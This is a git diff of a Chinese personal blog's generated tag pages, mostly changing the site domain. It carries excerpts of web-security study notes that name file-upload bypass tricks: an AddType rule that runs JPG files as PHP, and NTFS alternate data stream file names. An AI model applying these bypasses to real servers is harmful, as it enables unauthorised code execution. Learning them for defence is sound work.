-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>web安全 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/web%E5%AE%89%E5%85%A8/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/web%E5%AE%89%E5%85%A8/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="web安全"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/web%E5%AE%89%E5%85%A8/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="web安全"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>web安全</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>web安全学习笔记</h2></header><div class=entry-content><p>常见web工具：
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>web安全 | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/web%E5%AE%89%E5%85%A8/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/web%E5%AE%89%E5%85%A8/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="web安全"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/web%E5%AE%89%E5%85%A8/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="web安全"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>web安全</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>web安全学习笔记</h2></header><div class=entry-content><p>常见web工具：
 burpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应
 curl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等
 postmain
@@ -32,8 +32,7 @@
 Windows文件流绕过
 利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流
 例如：
-echo hallo,word > hallo.txt:a.txt
-echo hallo > hallo....</p></div><footer class=entry-footer><span title='2022-04-13 13:50:00 +0000 UTC'>2022-04-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to web安全学习笔记" href=https://xiaochenabc123.github.io/posts/145/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+echo hallo,word > hallo.txt:a.txt echo hallo > hallo....</p></div><footer class=entry-footer><span title='2022-04-13 13:50:00 +0000 UTC'>2022-04-13</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to web安全学习笔记" href=https://chenjunlinabc.github.io/posts/145/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git "a/tags/web\345\256\211\345\205\250/index.xml" "b/tags/web\345\256\211\345\205\250/index.xml"
index 2c9d4ea2..4e0516f4 100644
--- "a/tags/web\345\256\211\345\205\250/index.xml"
+++ "b/tags/web\345\256\211\345\205\250/index.xml"
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>web安全 on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/web%E5%AE%89%E5%85%A8/</link>
+    <link>https://chenjunlinabc.github.io/tags/web%E5%AE%89%E5%85%A8/</link>
     <description>Recent content in web安全 on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Wed, 13 Apr 2022 13:50:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/web%E5%AE%89%E5%85%A8/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Wed, 13 Apr 2022 13:50:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/web%E5%AE%89%E5%85%A8/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>web安全学习笔记</title>
-      <link>https://xiaochenabc123.github.io/posts/145/</link>
+      <link>https://chenjunlinabc.github.io/posts/145/</link>
       <pubDate>Wed, 13 Apr 2022 13:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/145/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/145/</guid>
       <description>常见web工具：
 burpsuite：通过代理渗透，可重放HTTP请求，来分析HTTP响应
 curl：通过url方式传输数据，可用于抓取页面（执行请求），监控网络等等
@@ -52,7 +52,7 @@ AddType application/x-httpd-php jpg的意思是，jpg文件按照php文件的方
 Windows文件流绕过
 利用windows平台的NTFS文件系统的文件流特性，设置文件时，默认使用未命名的文件流，但是也可以创建其他命名的文件流
 例如：
-echo hallo,word &amp;gt; hallo.txt:a.txt
echo hallo &amp;gt; hallo.</description>
+echo hallo,word &amp;gt; hallo.txt:a.txt echo hallo &amp;gt; hallo.</description>
     </item>
     
   </channel>
diff --git "a/tags/web\345\256\211\345\205\250/page/1/index.html" "b/tags/web\345\256\211\345\205\250/page/1/index.html"
index d91aad4e..5dec8cb0 100644
--- "a/tags/web\345\256\211\345\205\250/page/1/index.html"
+++ "b/tags/web\345\256\211\345\205\250/page/1/index.html"
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/web%E5%AE%89%E5%85%A8/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/web%E5%AE%89%E5%85%A8/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/web%E5%AE%89%E5%85%A8/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/web%E5%AE%89%E5%85%A8/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/web%E5%AE%89%E5%85%A8/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/web%E5%AE%89%E5%85%A8/"></head></html>
\ No newline at end of file
diff --git a/tags/weex/index.html b/tags/weex/index.html
index 8829cbb4..e961fcee 100644
--- a/tags/weex/index.html
+++ b/tags/weex/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>weex | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/weex/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/weex/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="weex"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/weex/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="weex"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>weex</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>weex跨平台框架学习笔记</h2></header><div class=entry-content><p>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>weex | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/weex/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/weex/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="weex"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/weex/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="weex"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>weex</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>weex跨平台框架学习笔记</h2></header><div class=entry-content><p>weex是阿里巴巴在Qcon大会上宣布开源的一套跨平台移动开发工具
 支持ES6，跨平台，体积小，性能优异，编写规范
 官网：http://emas.weex.io/zh/
 weex调试工具：weexplayground（可以用来测试，要同局域网下）
@@ -20,7 +20,7 @@
 weex compile 目录或者文件 打包文件存放的目录或者文件 -m
 注意：Weex目前只支持像素值，不支持相对单位(em、rem)，也不支持百分比，默认设计标准为750px，当真实像素不是750px的时候，会自动将设计标准映射到真实的尺寸中，这个映射比率叫scale，计算公式为：当前屏幕尺寸/750
 不支持层 z-index，具体层级叠加根据编写顺序显示，不支持使用border创建三角形
-运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理</p></div><footer class=entry-footer><span title='2021-10-10 14:00:00 +0000 UTC'>2021-10-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to weex跨平台框架学习笔记" href=https://xiaochenabc123.github.io/posts/116/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+运行流程：weex生成js bundle，然后通过网络等等方式将js bundle传递到客户端，在客户端中，weexSDK会在用户打开一个weex页面的时候执行对应的js bundle，然后命令发送到native端进行处理</p></div><footer class=entry-footer><span title='2021-10-10 14:00:00 +0000 UTC'>2021-10-10</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to weex跨平台框架学习笔记" href=https://chenjunlinabc.github.io/posts/116/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
